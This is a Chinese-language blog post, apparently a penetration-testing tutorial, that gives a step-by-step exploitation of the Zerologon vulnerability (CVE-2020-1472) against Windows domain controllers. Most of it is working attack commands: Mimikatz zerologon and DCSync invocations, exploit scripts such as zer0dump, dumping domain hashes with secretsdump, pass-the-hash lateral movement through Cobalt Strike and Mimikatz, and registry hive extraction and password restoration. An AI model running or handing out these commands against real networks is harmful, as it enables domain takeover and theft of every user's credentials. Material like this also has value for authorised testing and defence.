CVE-2020-1472 Zerologon

CVE-2020-1472 Zerologon

漏洞簡介

CVE-2020-1472是繼MS17010之後一個比較好用的內網提權漏洞,影響Windows Server 2008R 2至Windows Server 2019的多個版本系統,只要攻擊者能訪問到目標域控井且知道域控計算機名即可利用該漏洞.該漏洞不要求當前計算機在域內,也不要求當前計算機操作系統爲windows,該漏洞的穩定利用方式爲重置目標域控的密碼, 然後利用城控憑證進行Dc sync獲取域管權限後修復域控密碼,之所以不直接使用壞控憑證遠程執行命令,是因爲城控賬戶是不可以登錄的,但是域控具備Dc sync權限, 可以獲取域內任意用戶的憑證。

漏洞利用過程中會重置域控存儲在域中(ntds.dit)的憑證,而域控存儲在域中的憑證與本地的註冊表/lsass中的憑證不一致時,會導致目標域控脫域,所以在重置完域控憑證後要儘快恢復。

利用過程

0x01 置空密碼

Mimikatz(推薦)

管理員權限運行Mimikatz

# 提升權限
privilege::debug

# 檢測是否存在漏洞
lsadump::zerologon /target:<dc-ip> /account:<主機名>$

# 重置密碼
lsadump::zerologon /target:<dc-ip> /account:<主機名>$ /exploit

# 導出域管hash
lsadump::dcsync /domain:<domain> /dc:<DC server> /user:<想要導出hash的user,如:administrator> /authuser:<計算機名>$ /authdomain:<domain> /authpassword:"" /authntlm
例如:
lsadump::dcsync /domain:de1ay.com /dc:dc.de1ay.com /user:krbtgt /authuser:DC$ /authdomain:de1ay /authpassword:"" /authntlm

Zer0dump

這個工具好在會直接利用會返回域管的hash,更快速一點,不過需要新版impacket比較麻煩。

原文:https://blog.zsec.uk/zerologon-attacking-defending/

工具鏈接:https://github.com/bb00/zer0dump

git clone https://github.com/bb00/zer0dump.git
cd zer0dump-master && pip3 install -r requirements.txt

每攻擊256次會有一次起作用,但還要排除0.04%的虛假利用情況,所以會最大嘗試2000次保證成功,當返回值爲0時代表利用成功。這會導致 account's password 變爲空字符串進而利用PTH等方法進一步操作。

利用:執行成功後會返回管理員用戶的賬號和hash

python3 zer0dump.py <target-ip>
"該漏洞利用程序將域中的NTDS.dit(保留了該域上所有用戶的所有NTLM哈希值)/tmp/dumped.tmp.ntds轉儲到域,並利用祕密轉儲來轉出本地管理員密碼,如上所示。此外,由於返回的錯誤代碼爲零,因此我們可以看到該漏洞利用成功。管理員的哈希值已設置爲空白字符串"

排坑:

0x01 報錯:AttributeError: module ‘impacket.dcerpc.v5.nrpc’ has no attribute ‘NetrServerPasswordSet2 ’

解決:重新安裝最新版本的impacket

git clone https://github.com/SecureAuthCorp/impacketcd
cd impacket
pip install . 

cve-2020-1472-exploit.py

鏈接:https://github.com/VoidSec/CVE-2020-1472

python3 cve-2020-1472-exploit.py <主機名> 192.168.159.149
# 主機名也就是掃出的機器名稱,對應的會有一個主機名$賬戶

0x02 導出hash

secretsdump.py

python3 secretsdump.py <domain>/<主機名>\$@<dc-ip>  -no-pass
proxychains python3 secretsdump.py <domain>/<主機名>\$@<dc-ip>  -no-pass > hashes.txt

0x03 PTH of CobaltStrike

當知道target ip 、賬戶和 賬戶hash且有一臺內網的機器權限時如何快速上線。

當然這裏也可以用自己喜歡的方式。

前提

有一臺可通target ip的cs上線機器

已知target ip的賬戶和hash

首先 Add一個監聽器,Name隨意, TCP Beacon

image-20210406173756038

view --> targets --> Add 添加目標

image-20210406173914785

完成後在targets標籤頁裏,或點擊image-20210406174018598 選擇剛纔添加的target右鍵 --> Jump --> psexec_psh

image-20210406174139476

填寫相應user,該userpassword hash ,所在DomainListener選擇剛纔添加的 TCP BeaconSession選擇可訪問此target的內網cs上線的機器,點擊Launch就上線了。

image-20210406174235434

這個新生成的會話會帶用下圖紅框標註的標記,這代表是從之前內網cs上線的機器的Session派生出的新Session,當內網的機器cs掉了這個會話也就掉了

image-20210406174609335

0x03 PTH of Mimikatz

privilege::debug

sekurlsa::pth /user:administrator /domain:<domain> /rc4:<NTLM hash>

之後會彈出一個cmd

0x04恢復hash

這裏因爲之前通過NetLogon將賬號hash置爲空,後續獲得域管hash後需要趕緊將之前在SAM文件保存的hash去恢復,否則會脫域。

導出SAM

保存 sam.save 、security.save 、 system.save

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

# 獲取文件路徑
get system.saveget sam.save
get security.save 

# 刪除文件
del /f system.save
del /f sam.save
del /f security.save

獲取原來的NTLM Hash

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

通過拿到 $MACHINE.ACC: 的值,然後進行恢復:注意只有後半部分:

image-20210406183523222

恢復Hash

python3 reinstall_original_pw.py Motoo-DCSRV 192.168.159.149 ce7b34c0f2c72d6cb03123ef5ff741ca

驗證恢復結果

python3 secretsdump.py Motoo.nc/[email protected] -just-dc-no-pass

python3 secretsdump.py Motoo.nc/[email protected]    -no-pass   # 四個空格

image-20210406183747067

0x05 小Tips

如何尋找域控計算機名?

# 不在域內
nbtscan掃描
nmap smb嗅探
nslookup <域控ip>  有時dns服務器也搭在域控上

# 在域內 
命令查詢

參考文章

https://cloud.tencent.com/developer/article/1780108

https://github.com/VoidSec/CVE-2020-1472

https://github.com/bb00/zer0dump

https://blog.zsec.uk/zerologon-attacking-defending/

https://cloud.tencent.com/developer/article/1753595

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章